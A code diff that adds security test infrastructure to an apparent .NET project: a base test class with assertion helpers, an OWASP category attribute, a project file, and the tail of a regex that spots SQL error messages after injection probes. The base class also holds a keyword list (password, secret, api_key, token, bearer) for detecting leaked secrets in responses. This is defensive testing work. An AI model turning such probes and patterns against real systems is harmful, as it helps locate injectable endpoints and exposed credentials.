[GeneratedRegex(@"(syntax error|mysql|postgresql|sqlite|ora-\d{5}|sql server)", RegexOptions.IgnoreCase)]
private static partial Regex SqlPatternSuccess();
}

View File

@@ -0,0 +1,128 @@
// =============================================================================
// SecurityTestBase.cs
// Base class for all security tests providing common infrastructure
// =============================================================================
using FluentAssertions;
using Microsoft.Extensions.Logging;
using Moq;
namespace StellaOps.Security.Tests.Infrastructure;
/// <summary>
/// Base class for OWASP-category security tests.
/// Provides common test infrastructure, mocking utilities, and security assertions.
/// </summary>
[Trait("Category", "Security")]
public abstract class SecurityTestBase : IDisposable
{
protected readonly Mock<ILogger> LoggerMock;
protected readonly CancellationToken TestCancellation;
private readonly CancellationTokenSource _cts;
protected SecurityTestBase()
{
LoggerMock = new Mock<ILogger>();
_cts = new CancellationTokenSource(TimeSpan.FromSeconds(30));
TestCancellation = _cts.Token;
}
/// <summary>
/// Assert that an action throws a security-related exception.
/// </summary>
protected static void AssertSecurityException<TException>(Action action, string? expectedMessage = null)
where TException : Exception
{
var exception = Assert.Throws<TException>(action);
if (expectedMessage != null)
{
exception.Message.Should().Contain(expectedMessage);
}
}
/// <summary>
/// Assert that an async action throws a security-related exception.
/// </summary>
protected static async Task AssertSecurityExceptionAsync<TException>(Func<Task> action, string? expectedMessage = null)
where TException : Exception
{
var exception = await Assert.ThrowsAsync<TException>(action);
if (expectedMessage != null)
{
exception.Message.Should().Contain(expectedMessage);
}
}
/// <summary>
/// Assert that the logger was called with a security warning.
/// </summary>
protected void AssertSecurityWarningLogged(string expectedMessage)
{
LoggerMock.Verify(
x => x.Log(
LogLevel.Warning,
It.IsAny<EventId>(),
It.Is<It.IsAnyType>((v, t) => v.ToString()!.Contains(expectedMessage)),
It.IsAny<Exception?>(),
It.IsAny<Func<It.IsAnyType, Exception?, string>>()),
Times.AtLeastOnce);
}
/// <summary>
/// Assert that no sensitive data is present in the response.
/// </summary>
protected static void AssertNoSensitiveDataLeakage(string content)
{
var sensitivePatterns = new[]
{
"password",
"secret",
"api_key",
"apikey",
"private_key",
"token",
"bearer",
"authorization"
};
foreach (var pattern in sensitivePatterns)
{
// Case-insensitive check for sensitive patterns in unexpected places
content.ToLowerInvariant().Should().NotContain(pattern,
$"Response should not contain sensitive data pattern: {pattern}");
}
}
/// <summary>
/// Generate a random tenant ID for isolation.
/// </summary>
protected static Guid GenerateTestTenantId() => Guid.NewGuid();
/// <summary>
/// Generate a random user ID for isolation.
/// </summary>
protected static Guid GenerateTestUserId() => Guid.NewGuid();
public virtual void Dispose()
{
_cts.Cancel();
_cts.Dispose();
GC.SuppressFinalize(this);
}
}
/// <summary>
/// Trait for categorizing tests by OWASP category.
/// </summary>
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Method)]
public class OwaspCategoryAttribute : Attribute
{
public string Category { get; }
public string Description { get; }
public OwaspCategoryAttribute(string category, string description)
{
Category = category;
Description = description;
}
}

View File

@@ -0,0 +1,32 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net10.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
<IsPackable>false</IsPackable>
<IsTestProject>true</IsTestProject>
<RootNamespace>StellaOps.Security.Tests</RootNamespace>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="Microsoft.NET.Test.Sdk" Version="17.12.0" />
<PackageReference Include="xunit" Version="2.9.3" />
<PackageReference Include="xunit.runner.visualstudio" Version="3.0.2">
<IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
<PrivateAssets>all</PrivateAssets>
</PackageReference>
<PackageReference Include="coverlet.collector" Version="6.0.4">
<IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
<PrivateAssets>all</PrivateAssets>
</PackageReference>
<PackageReference Include="Moq" Version="4.20.72" />
<PackageReference Include="FluentAssertions" Version="7.0.0" />
<PackageReference Include="Microsoft.AspNetCore.Mvc.Testing" Version="10.0.0-preview.1.24589.17" />
</ItemGroup>
<ItemGroup>
<!-- Add references to modules being tested as needed -->
</ItemGroup>
</Project>